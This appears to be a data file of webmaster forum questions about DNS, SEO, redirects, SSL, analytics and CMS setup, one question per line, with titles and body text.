{"id":"22830","title":"Is a \"back\" link on each page really needed?","text":"I saw some sites having a `<<back` link on each page below the site top level that basically just invokes a JScript function that gets the browser history and navigates one page back. So it functions exactly as a browser \"Back\" button would. To me it makes no sense - it just duplicates an already existing thing. I tried to talk to several web designers - they all claim that it improves navigation so that the user doesn't get lost. I always used the browser \"Back\" button and it just worked. Is such link really helpful? How is it better than just a browser \"Back\" button?"}
{"id":"20508","title":"Point GoDaddy DNS to other DNS master for new subdomain","text":"I have a domain `domain1.com and` am creating a new subdomain `sub.domain1.com` and this subdomain has it's own DNS, NOT GoDaddy's DNS. I manage `domain1.com` DNS in GoDaddy right now and need to tell it that anyone looking for `sub.domain1.com` should go to ip `y.y.y.y` (master) or ip `x.x.x.x` (backup\/slave). Is there a way to do this? I am a little familiar with how the DNS for .com points to the masters on the internet but I just need the `domain1.com` to tell people where the master is for `sub.domain1.com`. I think I know how to, roughly, do this in bind9, but needed a quick solution for how to do it on GoDaddy."}
{"id":"20509","title":"Documented Web Site Design Process","text":"Is there any well documented process to be used in web site design projects?"}
{"id":"58464","title":"Adwords - Ad disapproved - Invalid HTTP Response Code","text":"I created a new Adwords campaign but it's getting rejected because of the reason: _[Destination URL] Invalid HTTP Response Code_ I used fiddler2 to see what could be up with the response codes but nothing fishy came up except maybe for an HTTP Code 302. for those curious the page is atommagnet dot com."}
{"id":"20502","title":"Advice on software infrastructure for a FLOSS bounty site","text":"I am planning to set up a simple web site where people can offer bounties for work on FLOSS projects. Unfortunately I have no experience at web development (I am a C\/C++ developer), so I was hoping someone might be able to suggest out-of-the-box packages (preferably Debian ones) I could use to build the site from. My idea of how the site would work is to keep things as simple as possible. The person proposing a bounty would enter a description with relevant links (particularly to a bugtracker entry with the project the work is to be done on, where the real discussion and work would take place) and information and place an initial contribution. Other people would be able to add (donate, not pledge) contributions, but any discussion would take place on the project's bugtracker. I am also planning to run a mailing list rather than a forum (at least initially), so that is not a requirement. Paypal seems to me to be the handiest payment mechanism. So overall what I need is probably a simple interface with Paypal integration and a simple database backend. I hope this is the right place for my question, if not I would be grateful for pointers to somewhere better. And of course, this is purely about the technical side, though I am more than happy to discuss other aspects of the project elsewhere."}
{"id":"20500","title":"Is RapidSSL WildCard Cert suitable for my eCommerce Web site?","text":"We have recently launched our online T-Shirts shop which is based on eCommerce platform but certainly we have been facing problem of customer’s transactions security as they were asking for suitable security of their confidential information while shop online over the my website. One of my friends is being used RapidSSL WildCard Certificate from RapidSSLonline.com To be clear that we don’t know much about SSL certificate security but we have found that SSL certificates ensure the online web site visitors towards their digital transaction safety. We would like to know that Is RapidSSL Wildcard Certificate the right choice for eCommerce shop?"}
{"id":"20507","title":"Embedded Internet Explorer","text":"I am developing a web page that must be opened in a software that uses the Embedded Version of the Internet Explorer. How does the Embedded Internet Explorer work? Does it come installed with the software I am going to use or it uses the regular Internet Explorer of my system?"}
{"id":"9167","title":"Best Free software for hosting user guides","text":"After having to clean up spam from a MediaWiki install for the umpteenth time, despite a recaptcha plugin \"preventing\" automated signups, I'm wondering if MediaWiki is the right choice as a CMS for hosting user manuals and guides. I've always loved the way wikis can let the guides be edited and commented on collaboratively, but I'm getting tired of dealing with automated vandals. I've disabled edits & signups for now, but as I'm having to go through the pain of cleaning thousands of junk pages, I'm beginning to think I should cut my losses and look for a better alternative. Does anyone know of suitable a FOSS application (preferably PHP \/ MySQL based) that would be simple for a non-coder (our manual writer) to edit, but that has all the interconnectivity, and searchability of a wiki? Or should I just bite the bullet again and lock the wiki down even further?"}
{"id":"49471","title":"How important is the text on your frontpage for SEO?","text":"I see many cool funky websites these days who have good page rank, but have little to no text on their homepage. It's been my understanding for a while now that search engines parse through your text and gather keywords to gain information on the relevancy of your page for a specific search query, but how are these sites getting around this when they have no text on their homepage? Is my understanding of SEO out of date (I am assuming this is likely), and if so, what SEO approach can I use if I wanted to redesign my site to have little to no text on the homepage?"}
{"id":"53087","title":"Find 4chan post linking to your website?","text":"I looked in my visitor statistics and saw that some people were coming from `boards.4chan.org`. Hmm, interesting. I'd like to see that post... Is there any way to find it?"}
{"id":"54448","title":"Is it possible to shut down a site and then reuse the old URL on a new site?","text":"I am creating a web site for a friend's business. He already has a site, but it is a wizard-created site hosted free by Yahoo. I am creating am ASP.NET site from scratch. He wants to retain his URL - is that possible? Can he \"release\" the current URL (shut down that site) and then \"reuse\" it in the guise of the new site?"}
{"id":"41102","title":"Reverse iframe breakout","text":"I have around 500 pages, some of which are simply PDF files, that are meant to be viewed within an `iframe` on a seperate domain parent page (files are subdomained, however reside on a different server). What would be the best way to force the following behavior: If a user visits any page within this subdomain, and that is **not** in the `iframe` of the main site, to either show a link to the main site, or force redirect to the main site (301?) What would be the proper SEO way to make sure that the items hosted on the subdomain are properly referenced to the main domain? As a side note, the subdomain can use any PHP necessary, however the main domain cannot use PHP (which is why the whole subdomain route is necessary)."}
{"id":"15884","title":"Can I use asterisks in URLs?","text":"Are there any reasons I shouldn't use an asterisk (`*`) in a URL? _Background:_ With asterisks, I could provide these nice and user friendly (or what do you think??) URLs: * `example.com\/some\/folder\/search-phrase*` means _search for pages with names starting with \"search-phrase\", located in \/some\/folder\/_. * `example.com\/some\/**\/*search-phrase*` means _search for any page with \"search-phrase\" anywhere in its name_. * `example.com\/some\/folder\/*` means _list all pages in \/some\/folder\/ (rather than showing the \/some\/folder\/index page)_."}
{"id":"15882","title":"Format numbers with css","text":"Is it possible to format numbers using css ? When I have `7000000.00`, I would like it displayed as `7 000 000.00` I know I could write a backend (php, perl...) function or a javascript function that could return the formatted number but... The numbers that I want to format are into a cell. I would like to have something like `<td class=\"myformat\">7000000.00<\/td>` or `<td><span class=\"myformat\">7000000.00<span><\/td>`"}
{"id":"6826","title":"How to use Canonical and Original-Source Correctly, on multilingual website?","text":"was wondering wether searchengines index this correctly in a multilingual website: Currently, the htaccess eats nice urls on pages like `\/de\/somepage` and rewrites them invisibly to `\/somepage?ln=de` so the query with the language (de, fr, en, it, etcettera) is put as a folder and the current page is added after it. Resulting in a clean static url that is better cachable than the one with ?= string url (is this true by the way?) However, some months ago there were no nice urls. only ugly ones floating on my site. imagine! Now I found out these old urls still remain roaming on the searchengines and think that these ugly ones are stretching their lifespan further than I pleased them to. So. Would this suffice (each and every page would have its own canonical... <link rel=\"canonical\" href=\"http:\/\/website.com\/fr\/page444\"> As well as an original-source meta: <meta name=\"original-source\" content=\"http:\/\/website.com\/fr\/page444\"\"\/> Is this the right way to do it? Any and all info is +1 worth to me."}
{"id":"15739","title":"What are the essential HTML tags?","text":"I want to know what HTML tags are \"compulsory\" a web-page should have, in order for it to be displayed by a web-browser. Also, what is the difference between different versions of HTML, in general?"}
{"id":"15738","title":"What does the user \"nobody\" represent in server process logs","text":"I am new to vps hosting. I checked daily process logs on my server and found a user with name nobody consuming more memory than others. So what is the user nobody related to and why is it consuming more memory? This is the log info I found: user \/ cpu \/ mem \/ mysql nobody \/ 0.00 \/ 27.31 \/ 0.0"}
{"id":"53535","title":"Is Amazon Affiliate program rewarding also leads from partner vendors (vendors \"hosted\" by Amazon)?","text":"I would like to join the Affiliate program of Amazon and I am wondering, if the comissions are paid only for the products sold and shipped by Amazon itself or if I can \"link\" also to the products of the \"hosted\" vendors (like: \"Sold and shipped by xxx\")?"}
{"id":"63227","title":"Redirect root path on root domain to subdomain","text":"Say there's a web application that runs on `example.com`, would there be a penalty for 301 redirecting the root of the domain (`example.com\/`) to `subdomain.example.com` for purposes of hosting the marketing website for an application? Obviously we would expect `subdomain.example.com` to be what is ranked in the search engine, not `example.com`. We would want other paths on `example.com` like `example.com\/path\/to\/resource` to index normally, and be unaffected by the 301 on the root path."}
{"id":"29308","title":"Domain Name Squatters Targeting my Domain","text":"About a week ago I did something dumb. I went to network solutions, typed in my current domain name, checked the boxes next to any tld that was available and hit \"add to cart\". I was curious to see what the cost would be for buying every variant. Network Solutions website actually crashed when I tried this. This morning, my boss received an email saying something like: > Dear CEO, This email is sent by XXXX Co., Ltd(ICP Record NO.XXXX),located in > XXXX,China,an institution registering domains in China professionally,also a > member of \"Domains Security Union\" of CNNIC. Here we have something to > confirm with your company,we received an application on May 3,2012, one > company called \"YYYY Co, ,Ltd.\" intended to register the following Network > Brand and Domain names: Followed by a list of many of the domain names I had attempted to register.... I am sure this makes my boss uneasy, but my colleague says he gets this sort of email twice a year and that it is a scam. Is there any real danger here, or is this just an extortion attempt for me to buy those domains? EDIT: I should note that searching any unique part of that email brought up virtually no results in Google."}
{"id":"63221","title":"Google is not treating two Australian schools as separate sites when both are subdomains of qld.edu.au","text":"My question relates to two websites, each of which is a \"Calvary Christian College\", however in two totally different locations and unrelated to each other entirely (except by name, and thus domain). All schools in the state are issued a `<school-name>.qld.edu.au` subdomain, in this case `calvary.qld.edu.au` and `calvarycc.qld.edu.au`. Now what's interesting is that these domains are crossing each other in sitelinks for searches such as `calvary christian college townsville`. The green data here is for one school (the Townsville school, as per search term), and the red data is for the other school. I've put a demotion in for this >6 months ago (we control `calvary.qld.edu.au`), however we're seeing no change on the results page. I have been able to get the owners of `calvarycc.qld.edu.au` to submit demotions for our domain, which should go in sometime in the next few days. What can we do to tell Google that these websites are not interchangeable, despite both appearing as \"subdomains\" of `qld.edu.au`? We can possibly open channels of communication with the administrators of `qld.edu.au` but will need to tell them what we need to change, and at this point I'm out of ideas."}
{"id":"63228","title":"How to make a split test that reduces scripts from Google Tag Manager in a tool like VisualWebOptimizer","text":"We have a website, where we use Google Tag Manager, in order to insert a big amount of scripts. We want to run a split test, where we reduce these scripts by 70%, which should improve load time (even though the scripts from Tag Manager runs async), and hopefully improve the conversion rate. However, how do we make a split test, where we can change the amount of scripts fired in Tag Manager?"}
{"id":"34212","title":"Low number of site map links and none of mobile site map links indexed in the google","text":"There 2,521 sitemap URLs submit to the Google webmaster tools. But they indexed only 548 URLs and 1,256 mobile sitemap URLs were submitted but none of it indexed. This shown in whole last month. URLs has Status OK and no any errors. Can anybody enplane why this happen? Is my sitemap code error or It's normal thing in Google webmaster tools?"}
{"id":"14282","title":"Can owning a domain name for each city improve search engine optimization?","text":"My boss asked me and I wasn't sure exactly how to answer. I'd like to get some advice from others that have hit this issue before. Scenario: We are wanting to purchase a new chain of domain names for a new site expenditure. The #1 goal for my boss is when a customer searches for \"This product miami\", or \"miami this product\" that our URL will always show up first because the structure of the URL would be indicative of the search term. So if the user searched for \"This product miami\", the search result would return www.thisproductmiami.com of if they search for \"This product new york\", it would return www.thisproductnewyork.com So, getting thisproductnewyork.com, thisproductmiami.com and so on for every major city in the US. So we will end up purchasing a \"thisproductthiscity.com\" for every city. To me as a web developer the best way I'd see this working is: miami.thisproduct.com newyork.thisproduct.com That way, the city still searchable, but its all managed and aggregated by one domain. What would give us the best search results. Purely based on the URL. This would help me out so much, any advice with links to articles or anything covering the subject so I can back it up with docs, would be nice."}
{"id":"33302","title":"Why do differant domains have differant prices?","text":"Why are `.com` domains cheaper than less common domains? I was recently looking at getting a `.mu` domain, and was surprised that the \"cheapest\" price I could find was $58 (less if gotten for more years), yet you can get `.com` domains for under $10. I understand some are country codes, so that might be a factor, but I'm mostly inquiring on why non-county code domains have varying costs (although why costs for country code domains are so much more would be helpful as well). **Edit:** I am not asking about the difference in prices between registrars, but rather between different domains (`.co`, `.com`, `.tv`, etc). Aka, what is the reason one domain is worth more than another?"}
{"id":"14933","title":"Redirecting bad links to the correct links via htacess or 301 redirect plugin for WordPress","text":"I'm getting a lot of 404 errors b\/c I recently switched content management systems (Habari to WordPress). I would like to use the 301 redirect plugin for WordPress to capture and helpfully redirect the offending links to the correct urls. Here's an example of the type of errors I'm seeing and what they should be redirected to: http:\/\/janetalkstech.com\/admin\/publish?id=146 should redirect to `http:\/\/janetalkstech.com\/?p=146` http:\/\/janetalkstech.com\/admin\/publish?slug=post-title should redirect to `http:\/\/janetalkstech.com\/post-title` I would greatly appreciate any specific pointers on how to perform the redirects with either the 301 redirect plugin for WordPress or via .htaccess file Edit: Redirection plugin being used is the one by Urban Giraffe: `http:\/\/urbangiraffe.com\/plugins\/redirection\/`"}
{"id":"14287","title":"Error message when opening Googlebase data feed","text":"I'm trying to get my site's products uploaded to google's merchant center, but it's only uploading 2 of the ~20,000 I have. When I open the datafeed url (in Chrome) to look into it I get the error message \"error on line 38 at column 761: Entity 'Acirc' not defined error on line 38 at column 761: Encoding error\" Now I'm not sure exactly what the problem is, when I look at the product where it encountered the error everything looks ok but something is obviously not. What should I be looking into? Thanks"}
{"id":"18905","title":"Index Company Name but not other keywords","text":"I'm working on a website that doesn't want it's content indexed by search engines because it only caters to a specific segment of the population. It purposefully wants to stay hidden from the general public. It **does** want it's company name indexed in search engines however, because when the company sends targeted snail mail advertising, users should be able to type the name and find the site. It's a requirement for the homepage to function as a gateway into the the rest of the site, so it's unavoidable that the homepage will be rich in relevant keywords that could lead to the site being found by the general public. **Summary:** What's a good approach to have a webpage indexed solely by the company's name without generating other keyword searches related to the company?"}
{"id":"14289","title":"Is DiscountASP a good host choice for an app that will have mostly foreign traffic?","text":"I've created an ASP.NET MVC application for a client in India. Most of the web traffic would come from India. I typically host my apps at DiscountASP, but would this be a good choice for an app whose traffic is primarily from India?"}
{"id":"18903","title":"Google spidering: make content available but unsuable","text":"I'm trying to figure out how to make it so that my member-based social network site can be spidered but is not possible for guests to post or interact with content in any way. What is the best way to do this? If anyone can suggest an article or tutorial specifically for this that would be awesome. The system I've had up in the past was a check user log script but that was for the whole page, is there a way to do this for (as an example) clicking inside a text box to type a comment or something?"}
{"id":"18270","title":"Universal same-origin policy","text":"Here is something I have been wondering about for the longest time. It seems very simple, but to this day I do not know any practically usable technology. Is there a way that I can browse the internet and enforce a universal \"same origin\" policy? By that I mean that my browser will simply not issue _any_ network requests for _anything_ that isn't in the same domain as the root website that I am visiting. Nothing. No images, no CSS, no JavaScript, no frames, no iframes, no AJAX requests, no plugin video content. Even though the WWW is now well into its adult life, it still seems like there is no way for me, the user, to visit a website which contains an image sourced from a third party server without that server knowing that I visited the website. I know that there are several individual, ad-hoc workarounds, but the very simple heart of the matter is that I should be able to instruct my browser in simple, broad terms to never start any requests to any off-site location. (Please don't tell me that this will break lots of sites. That's not a problem. This is a question of principle.) Does any such technology exist? Any special browsers, or plugins for popular browsers?"}
{"id":"59907","title":"Get a list of pages within a domain without a title set","text":"On our webshop, we have about 60k distinct URLs and some of them don't have a `<title>` set. I know the google parameter `intitle:` but I can't handle to find those pages using that. Do you have a hint for me, that does not require to install a crawler or something?"}
{"id":"59453","title":"PHPBB3 UCP Module only showing up for admins","text":"I copied a bunch of examples online to create my own custom UCP page\/module. And it worked. But it only shows up for administrators. I checked the ACP and there does not seem to be any settings there for permissions for any of the modules. I skimmed the code and found: return array( 'filename' => 'ucp_nhl', 'title' => 'UCP_NHL', 'version' => '1.0.0', 'modes' => array( 'nhl' => array('title' => 'NHL', 'auth' => 'acl_a_user', 'cat' => array('UCP_LEAGUE'))), ); `'auth' => 'acl_a_user'` jumped out, but there does not seem to be a single resource online as to what that means. I checked the other UCP pages and they mostly use `'auth' => ''` so I switched to that. But it still only shows up for administrators. What am I doing wrong? Is there some refresh thing I have to do, I tried disabling and enabling the module, but that had no effect."}
{"id":"15088","title":"Shopping Cart Abandonment Email Service?","text":"I'm looking for a third-party service to integrate with my custom shopping cart to automatically send emails to people that leave the checkout before finishing; aka, abandoning their cart. Basically, anytime someone leaves the site and we have their email address, we'd like to send them an email enticing them to come back to the site. That's the basics of it, any additional functionality would be great. Suggesting other products, offering some kind of special offer, etc. I'm just looking for any services that offer this rough description. Thanks"}
{"id":"15086","title":"Requests in form: http:\/\/www.site.com\/one\/two\/three\/ in Apache 2","text":"how can I configure Apache server, to mantain requests such as: http:\/\/developers.facebook.com\/docs\/reference\/fql\/ (i mean the \/one\/two\/three)? What's the name of this technique and how it is done? Thanks."}
{"id":"8745","title":"Aggregating customer service emails from multiple ecommerce sites for easy handling","text":"For one of my main customer help email addresses I use Mozilla Thunderbird with a combination of tags and saved searches. As the number of my e-commerce sites grows from 1 to more, customer service handling gets more tricky. Is there any simple and efficient way of handling emails from the different sites? Perhaps what I'm looking for is a way of aggregating customer service emails from different sites, into one place? Perhaps there's a way of already doing this within Thunderbird or Gmail?"}
{"id":"8744","title":"Free Website Marketing & Backlinks?","text":"What are some good places to advertise my websites for free? I've already submitted them to Google, Yahoo!, and Bing. Now, I am looking for some places I can create legitimate backlinks. Does anyone have any ideas?"}
{"id":"15082","title":"Disqus comment form missing from posts","text":"I decided to transition from IntenseDebate to Disqus for the blog. So I uninstalled ID via their uninstall process (you upload the template to them, they remove code, you reupload your new template onto the site). Then I went to install Disqus into the site through their Blogger widget method. The problem is that there is no comment form present on any of the blog posts' pages. For example, when you click on the 'Comments' link it jumps to `#disqus-thread` but there is no thread there. So is there any fix that I can do in order to make the comment form appear? I checked Disqus' knowledgebase for Blogger installation but as far as I can tell my template should be compatible."}
{"id":"7650","title":"Software for video subscription service","text":"I'd like to sell instructional videos over the web. Primarily, I'd like uses to subscribe to the site and be allowed access to videos over the internet. Secondarily, I might sell DVDs for those who have poor internet connections or would like a physical copy, or possibly I'd sell eBooks and the like in the future. Regarding the subscriptions: * I'd like a system that automatically sends out e-mails when it is time to renew * I'd like to be able to offer free trials * Users without a free trial or subscription should not be able to access the content * Incidentally, I plan to host videos on my current web host and move them to a CDN when volume (and capital) make this a good idea. While I have no intention to go crazy with the DRM, it seems expedient not to directly link to the files -- how can I link to them indirectly? * It would be nice to support multiple payment processors -- specifically, I'd like to avoid a PayPal only approach. Are there any web applications (or plugins) you'd recommend for something like this? While I've set up and administered several web technologies, I've never done anything with e-commerce. I see there are possibilities like osCommerce, one friend recommends using WordPress with plugins, and it really appears that for any given CMS, you can graft on components like this, although I imagine that not all are created equal. As I'm not tied to a particular web application (and, while open source software that can run on a LAMP [p=perl, python, php] stack is preferable), I'd like to make a good choice at the beginning."}
{"id":"44081","title":"wordpress installation issues","text":"I Installed Wordpress under (UBUNTU)`\/var\/www\/wordpress`. `wp-config.php` is modified as recommended. When trying to access `http:\/\/x.y.z.a\/wordpress\/wp-admin\/wp-install.php` it doesn't open the page but instead downloads the file..."}
{"id":"7655","title":"why are my sites bien blocked by Smartfilter at my work","text":"Why are my domains being blocked by Smartfilter (owned by Yahoo) at work. I buddy mentioned that he had the issue before. He \"categorized\" his domain with his registrar, changing it from \"Uncategorized\". Shortly after it worked. How can domains be categorized? I look through all the options at my registrar (Go Daddy) without finding one for domain categories. Any help would be appeciated"}
{"id":"48611","title":"Digest Authentication - how is it used?","text":"I understand a bit about digest authentication from here http:\/\/en.wikipedia.org\/wiki\/Digest_access_authentication, but I am pretty unclear on where, when or how it is used. I can't find anything on that side of it. Where, when and why would a webmaster use it? Does it require any extra code on a site if the server has it implemented? As you can see, I pretty much in the dark about how it is used, so any info would be helpful. Maybe this could become a FAQ"}
{"id":"39424","title":"How do clicks from Google Places show up in Analytics?","text":"We've just implemented Google Places for our business and are getting a few hits through the mini-analytics that places have. But those are just a hybrid impressions, CTR chart. Is there a way to track clicks from local results in the full blown Google Analytics?"}
{"id":"42535","title":"Wordpress and local business SEO","text":"Which Wordpress plugins and themes have been verified by the online community to be best at maintaining good SEO for a Wordpress site representing local business? Is there a site that is specfically dedicated to tracking local business SEO optimized Wordpress developments?"}
{"id":"42533","title":"Versatile cloud storage\/VCS?","text":"I'm looking for online storage that can \"corral\" many other forms of online storage like FTP, SSH, WebDAV, and commercial services like Google Storage and Dropbox, and to keep these files \"in sync\". In other words, I'm looking for a cloud storage service that will connect all the various forms of storage I work with or that my clients hand to me (i.e. Dropbox) in one virtual filesystem. Second to that, I'm looking for something with strong versioning features. And second to that, I'm looking for something with good ability to show a \"preview\" of most file types within the browser, and to let me write notes and annotations on any file type. P.S. I'm willing to do some work to set up a software stack on a bare-metal machine that I control in order to achieve the desired functionality if there isn't a commercial service that provides all these features."}
{"id":"31652","title":"How to automatically generate HTML table from image in Linux?","text":"In Photoshop, you can easily divide the image into zones using point and click and it automatically generates the corresponding HTML with image slices addressed in tables. Gimp also has a Slice (Filter > Web > Slice) but it is so rudimentary and, as far as I can see, does not allow point and click selection of slices. I am wondering if the functionality can be added into Gimp, or there are other Linux software to do this. I hate to return to Windows just to do this simple task which I happen to use frequently. Thanks in advance for your suggestions."}
{"id":"68370","title":"Pagination and duplicate content","text":"I have an archive page that displays the number of articles published. Because there were so many, I ran a pagination script: for `127.0.0.1\/archive\/2\/?p=x&pp=y` where `p` is the page number and `pp` is number of articles to display per page. The pagination looks like this: Prev 1 2 3 4 ... 12 NEXT with each item linking to `p` like `<a href=\"?p=x\">x<\/a>`. I also have the items per page setter: 25 | 50 | 100 `(<a href=\"?pp=y\">y<\/a>)`. Now I have a PHP script that fixes `pp` into a session variable. But I am worried about duplicate content (since incrementing `pp` values will be inclusive) and also content not getting indexed because its not in the pagination link. so in the example above, pages 5-11 will not be indexed. Any ideas on how to fix this?"}
{"id":"47417","title":"On shared hosting, all subdomains are hosted on the same server?","text":"On shared web hosting, are all subdomains like `foo.example.com` and `bar.example.com` always hosted on the same server (same IP address)?"}
{"id":"58361","title":"How to force Google to index images and webpages? Or I shouldn't bother and just wait a bit more?","text":"I have a web site with a lot of web-pages and images. I created the sitemaps (grouped into single sitemaps index file). I submitted those sitemaps to Google but the indexing process is disappointingly slow:  Sitemaps was submitted on Feb. 4th. Submitting process started on Feb. 8th and so on: 02\/09\/2014 - Indexed 187 images 02\/10\/2014 - 956 02\/11\/2014 - 1180 02\/12\/2014 - 1196 02\/13\/2014 - 1198 02\/14\/2014 - 1192 (!!!) 02\/15\/2014 - 561 (!!!) 02\/16\/2014 - 1144 02\/17\/2014 - 1144 So the images indexing process is weird. However the crawling process look much more attractive and promising:  Do I need to wait some extra time? Or do I need to take some actions to help Google to index my web-site correctly?"}
{"id":"23785","title":"Registrar with good security, DNS hosting, and DNSSEC and IPv6 resolvers?","text":"I'm looking to move my domains away from GoDaddy, but I'm having a tough time finding anyone with comparable features at a (even remotely) similar price. I've looked at the usual suggestions (NameCheap, Gandi.net, etc.), but they all seem to lack many of the GoDaddy feature base. I'm looking for: * DNSSEC * IPv6 Resolvers (dig pdns01.domaincontrol.com AAAA; etc. ) * SSL-Logins by default * HTTP-only login cookies * No stupid password restrictions * Two-factor authentications * No DNS record limits * Rough DNS statistics (queries\/day, etc.) * Audit trails GoDaddy has all of these, except two-factor, for $3\/month. See http:\/\/www.godaddy.com\/domains\/dns-hosting.aspx I can't seem to find _any_ other registrar that supports even a few of these. Is there a registrar that offers comparable features? Or, barring that, a DNS hosting service that offers similar features? (AWS Route53 doesn't offer DNSSEC or IPv6)"}
{"id":"34178","title":"Tracking first visit date in Google Analytics","text":"I want track a site's visitor retention using Google Analytics, to see if unregistered users are returning to it, within a time frame of 2+ months from now. This blog post seems to be on the right track, but I want to track unregistered users, so I don't have a \"join date\" or similar variable at my disposal. This other blog post suggests using all 5 GA custom variables, using the first variable slot on the first week, variable 2 on week 2, etc. This method will allow me to track 5 weeks of visitors. I want to track more than 5 weeks of visitors, so I was thinking on using two custom variables in GA: visitor's first visit date, and visitor's last visit date. How I can save the first visit date? Because if I save another value in the same slot the old value will be overwritten, and I don't know how reliable is to save that variable conditionally (reading the `__utmv` cookie to check whether the \"first visit date\" is set, if it isn't set I save the current date)"}
{"id":"67832","title":"Why isn't Google Analytics data being recorded?","text":"I am really confused with this one, I added the google analytics code in my page below the `<\/head>` or before `<\/body>` but the code is not being marked as connected inside the analytics panel. I tested it with the google analytics debug plugin and it seems to connect approprietly. Any ideas please?"}
{"id":"50773","title":"In case of a server error, should I change the URL in the address bar?","text":"Let's say the user surfs to `http:\/\/mysite.com\/some-path` and encounters error 500 which leads to a custom error page. What is the best practice regarding the URL shown in the address bar while in the error page - should I leave `http:\/\/mysite.com\/some-path` or should I change it to `http:\/\/mysite.com\/custom-error.aspx`? Is there a good reason **not** to leave the URL as is?"}
{"id":"34174","title":"Reduce HTTP Requests method for js and css","text":"Is these way can Reduce HTTP Requests? multiple javascript files with `&` symbol <script type=\"text\/javascript\" src=\"http:\/\/yui.yahooapis.com\/combo?2.5.2\/build\/yahoo-dom-event\/yahoo-dom-event.js &http:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/1.4.2\/jquery.min.js\"> <\/script> multiple css files with `@` import <style type=\"text\/css\"> @import url(css\/style.css); @import url(css\/custom.css); <\/style>"}
{"id":"31130","title":"google analytics statistics","text":"I am compiling a report for a client using google analytics. I have observed that the client has unusually good page view times (>5 mins) and excellent bounce rates (<25%). I need to reference research data that validates my assertion that these figures are excellent compared to an industry standard (the industry is ecommerce and gaming). **Can you direct me to any published research data that specifies normal bounce rates and page view times for this industry?**"}
{"id":"9868","title":"How to combat negative SEO?","text":"Someone has decided to create a hate blog on a hosted blogging service (`wordpress.com`) that bashes my company. The blog contains posts that completely flame myself, my service, and contains complete falsehoods about how I run my business. Without going into details, I'm pretty sure the author of this blog is an owner of a competing service (although it is authored completely anonymously). Frankly, I'm not sure if the content would qualify for defamation or not, but I really don't like the idea of spending money on a lawyer to even attempt to prove this. I also have no interest in retorting or even replying to the blog in any sort of way -- I feel this would justify the ludicrous claims that have been posted. Unfortunately, whoever wrote the blog was pretty smart about using key words that people commonly use to search for my service. Because my customer base is relatively small and local, our PageRank is not incredibly high. As a result, when someone Google's our business name, this blog is usually within the top five results (thankfully, it's never above the business' actual website, but it's usually within eyeshot). It's incredibly frustrating to hear from customers who have seen the link (luckily, most of the time they think the author is crazy). Is there anything I can do to combat this? Would it be worthwhile to setup my own hosted `wordpress.com` branded blog, in an effort to trump this `wordpress.com` with a blog that is more active of my own? **TL;DR: Someone made a hate blog using`wordpress.com` and is now on the first page of my business' search results. What are my options?**"}
{"id":"31133","title":"SEO and search result changes when switching to SSL on Joomla site?","text":"I am thinking about purchasing an SSL certificate for a website. The most noticeable difference for the user would be the `http` now becomes `https` and there is that lock icon in most browsers. Will there be any adverse affects on the website's current SEO or recognition by search engines when I make the switch? Also this is a Joomla site, which has an option in the settings to use SSL. It is supposed to make it easier but not sure if it takes care of everything. Thanks!"}
{"id":"44887","title":"Asynchronous page loading and SEO","text":"To speed up my website (or at least the time to first byte (TTFB)), I'd like to only send the layout of the page and then get the page content with an asynchronous request. This way, the TTFB will be really fast, because this will be short, lightweight and cached content. For the content to be indexed, I will analyze the User-Agent to know if I have to send the content the old- fashion way. Is this a safe way to do so, or will I be blacklisted by Google (because of the different content)? Thank in advance ! PS.: I know about the Google AJAX craw method (https:\/\/developers.google.com\/webmasters\/ajax-crawling\/), but this is not really what I want."}
{"id":"44886","title":"Why does Google Cache show our G+ page and not the correct page?","text":"For some reason when we try and view the cached version of our website, we see our Google plus page. We recently removed this code : `<link rel=\"canonical\" href=\"link to our g+ page\">`. We removed this and Google started seeing our homepage correctly. But we are now having the same problem for each of our internal pages and cannot seem to find this same piece of code of any of the other pages. Are we looking for the wrong thing? Or in the wrong place? We're very new to WordPress so any advice would be great. Thank you."}
{"id":"9864","title":"How can my organization become a Root CA?","text":"I'm the founder of a little non-profit French organization. Currently, we're providing free web and shell hosting. Is there a way to become a Trusted Certificate Authority, in order to give free SSL certificates to my customers, and also to avoid being an intermediate (and pay a lot for that), and\/or avoid paying a lot for each certificate?"}
{"id":"44883","title":"What are current ADA standards \/ requirements on images?","text":"I am wondering what ADA (American disabilities act not dental association) currently requires when it comes to images and other things not easily read by webpage \"readers\". I am currently trying to make sure a website meets all required standards so nobody gets yelled at or in any legal trouble if someone with disabilities were to attempt to read the page. Note: I have looked these up but I have found odd legal terms. Is there a more simple explanation such as \"Must have alt tags on all images and navigation bars must do something something something?"}
{"id":"11146","title":"How can I have multiple sessions in FF without using profiles?","text":"I'd like to test my website as different users simultaneously, ideally on Firefox. Currently the only ways I know of doing this are 1. Using different browsers 2. Using profiles with FF It's frustrating using FF profiles as you have to reinstall all your development plugins, which then each need to update individually. What I'm really looking for is a simple developer tool that lets me open a FF window that keeps its cookies completely separate from the main FF instance. Ideally it would also make that window stand out in some way to help me differentiate, but that I can live without ;) Any ideas?"}
{"id":"28305","title":"updated posts in my RSS feed","text":"Should I put in my RSS feed posts that I've updated or I'll just update it but don't put it my RSS feed? (considering RSS feed contains latest 10 posts)."}
{"id":"11142","title":"Joomla: How to create a blog of articles from multiple categories?","text":"I need to gather articles from multiple categories into the single blog feed (the front page and main RSS feed). For example, I need this structure ... Section 1 Category 1.1 Article 1.1.1 (20 apr 2011) Article 1.1.2 (10 apr 2011) Category 1.2 Article 1.2.1 (15 apr 2011) Category 1.3 Article 1.3.1 (25 apr 2011) ... to be displayed in a single blog as Article 1.3.1 (25 apr 2011) Article 1.1.1 (20 apr 2011) Article 1.2.1 (15 apr 2011) Article 1.1.2 (10 apr 2011) (sorted by the creation date of articles) I tried to use \"Section Blog\" type for my menu item, but I can't understand its methods of sorting articles. I tried to sort them by date, but my section blog displaying it category by category, not article by article: Article 1.1.1 (20 apr 2011) Article 1.1.2 (10 apr 2011) Article 1.2.1 (15 apr 2011) Article 1.3.1 (25 apr 2011) Maybe I should install some extension to do that? Joomla 1.5.22"}
